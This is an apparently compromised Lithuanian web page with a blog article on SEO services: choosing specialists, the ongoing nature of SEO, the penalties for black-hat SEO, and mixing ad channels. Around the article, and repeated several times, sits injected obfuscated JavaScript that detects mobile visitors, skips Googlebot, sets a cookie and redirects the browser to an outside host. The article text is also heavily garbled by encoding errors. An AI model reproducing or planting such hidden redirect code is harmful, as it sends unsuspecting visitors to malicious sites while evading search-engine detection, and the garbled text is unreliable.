|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

SEO paslaugos: taisyklAi??s, galinA?ios padAi??ti aplenkti konkurentus

Paskutiniu metu SEO terminAi?? galima iA?vysti A?vairiose publikacijose, specialiai net nesidomint informaciniA? technologijA? ar internetinio marketingo aktualijomis. SEO paslaugos atrodo tokios savaime suprantamos kaip, pavyzdA?iui, internetinio tinklapio sukAi??rimas. DA?iugina faktas, jog daugelis internetiniA? svetainiA?, norAi??damos uA?imti kuo aukA?tesnAi?? pozicijA? tarp uA?klausos rezultatA?, atlieka revizijAi?? tiek savo viduje, tiek ir uA? ai??zkiemoai??? ribA? (domisi talpinamA? nuorodA? kokybe, reklaminiais tekstais ir panaA?iai). TaA?iau realiai vertinant esamAi?? situacijAi??, nesunku suvokti, jog galimybAi?? bAi??ti vartotojui parodomam aukA?tesnAi??je pozicijoje tampa dar sunkiau (o vartotojA? A?proA?iai, kaip A?inia, nesikeiA?ia ai??i?? jie aplanko vos keletAi?? pirmA?jA? nuorodA?) pasiekiama. Ir Google ai??zkiA?a pagalius A? ratusai??? ai??i?? nuolat grieA?tinami ir atnaujinami reikalavimai, tad laimi tik patys atkakliausi ir kruopA?A?iausiaiAi?? dirbantys.

seo

KokiA? taisykliA? reikia laikytis, norint pasiekti paieA?kos sistemos lyderiA? pozicijas?

  • Svarbiausia ai??i?? iA?sirinkti tinkamus specialistus.

SEO paslaugos bei kitos internetinAi??s reklamos strategijos A?iandien siAi??lomos tiek ilgametAi?? patirtA? turinA?iA? bendroviA?, tiek neseniai ai??ziA?keptA?ai??? specialistA?, besiverA?ianA?iA? individualia veikla. Visi norAi??tume naudotis geriausiomis paslaugomis, deja, ne kiekvienas esame pajAi??gus jas A?sigyti, o kartais tiesiog klaidingai pasirenkame. Priimdami A?A? sprendimAi??, turime gerai apsvarstyti, su kuo pasiraA?ysime ilgalaikio bendradarbiavimo sutarA?. Vienas paprasA?iausiA? bAi??dA? ai??i?? A?vertinti paties SEO specialisto internetinAi?? svetainAi??. Ai??iuo atveju negalioja taisyklAi??, jog batsiuvys gali bAi??ti be batA?: svetainAi??s turinys, valdymas, reitingas paieA?kos sistemoje gali daug kAi?? pasakyti apie specialistA? profesionalumAi??. Skirkite laiko atliktA? darbA? bei buvusiA? klientA? atsiliepimA? analizei. PadAi??ti priimti galutinA? sprendimAi?? gali padAi??ti ir susitikimas su paslaugos teikAi??ju akis A? akA? ar pokalbis telefonu. Sprendimas rAi??pintis svetainAi??s optimizacija savarankiA?kai ai??i?? A?manomas, taA?iau reikiamA? A?iniA? tam atlikti reikAi??tA? semtis atitinkamuose kursuose.

  • BAi??tinas suvokimas, jog SEO paslaugosAi?? – nuolatinio darbo bei investuoto laiko reikalaujantis procesas.

Specialistai klientAi?? privalo informuoti, jog SEO per dienAi?? ar savaitAi?? ai??znepasidaroai???. SEO paslaugos apimAi?? keletAi?? tarpusavyje susijusiA? veiksmA? ai??i?? esamos situacijos bei raktiniA? A?odA?iA? analizAi??, iA?samus konkurentA? veiklos tyrimas, vidinAi?? bei iA?orinAi?? optimizacija.

Net ir geriausi specialistai nAi??ra apsaugoti nuo nesAi??kmAi??s, tai netgi yra natAi??rali optimizavimo proceso dalis. Niekada negali A?inoti, ar Google nesugalvos naujo reikalavimo, ar nepakeis prioritetA? tvarkos. Vietoje nestovi ir konkurentai. SEO specialistai turi galimybAi?? A?vertinti, kurie atliekami veiksmai yra efektyvAi??s, o kAi?? dera keisti. Tiesa, atsiranda gudruoliA?, mananA?iA?, jog gali visus aplenkti. Egzistuoja nelegali SEO sritis, iA? pirmo A?vilgsnio A?adanti efektyvius rezultatus itin greitai. Toks optimizavimas yra vadinamas Black hat SEO. Deja, patirtis rodo, jog tokie nesAi??A?ingi A?aidimai daA?niausiai bAi??na trumpalaikiai. Taip pat greitai, kaip tinklapiai yra iA?keliami paieA?kos rezultatuose, taip pat greitai jie ir nukrenta paieA?koje. Juodojo SEO darytojai yra identifikuojami ir nubaudA?iami. Geriausiu atveju yra smarkiai paA?eminamos Ai??turimos pozicijos organinAi??je paieA?koje. Blogiausiu ai??i?? paA?alinimas iA? paieA?kos neribotam laikotarpiui.

  • Reikia iA?bandyti visus prieinamus reklamos internete bAi??dus.

Greitesnis ir efektyvesnis rezultatas pasiekiamas tada, kai SEO paslaugos derinamos su kitais reklamos internete bAi??dais ai??i?? Google reklama, naujienlaiA?kiai, socialiniA? tinklA? marketingas, turinio rinkodara ir kiti A?altiniai.var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}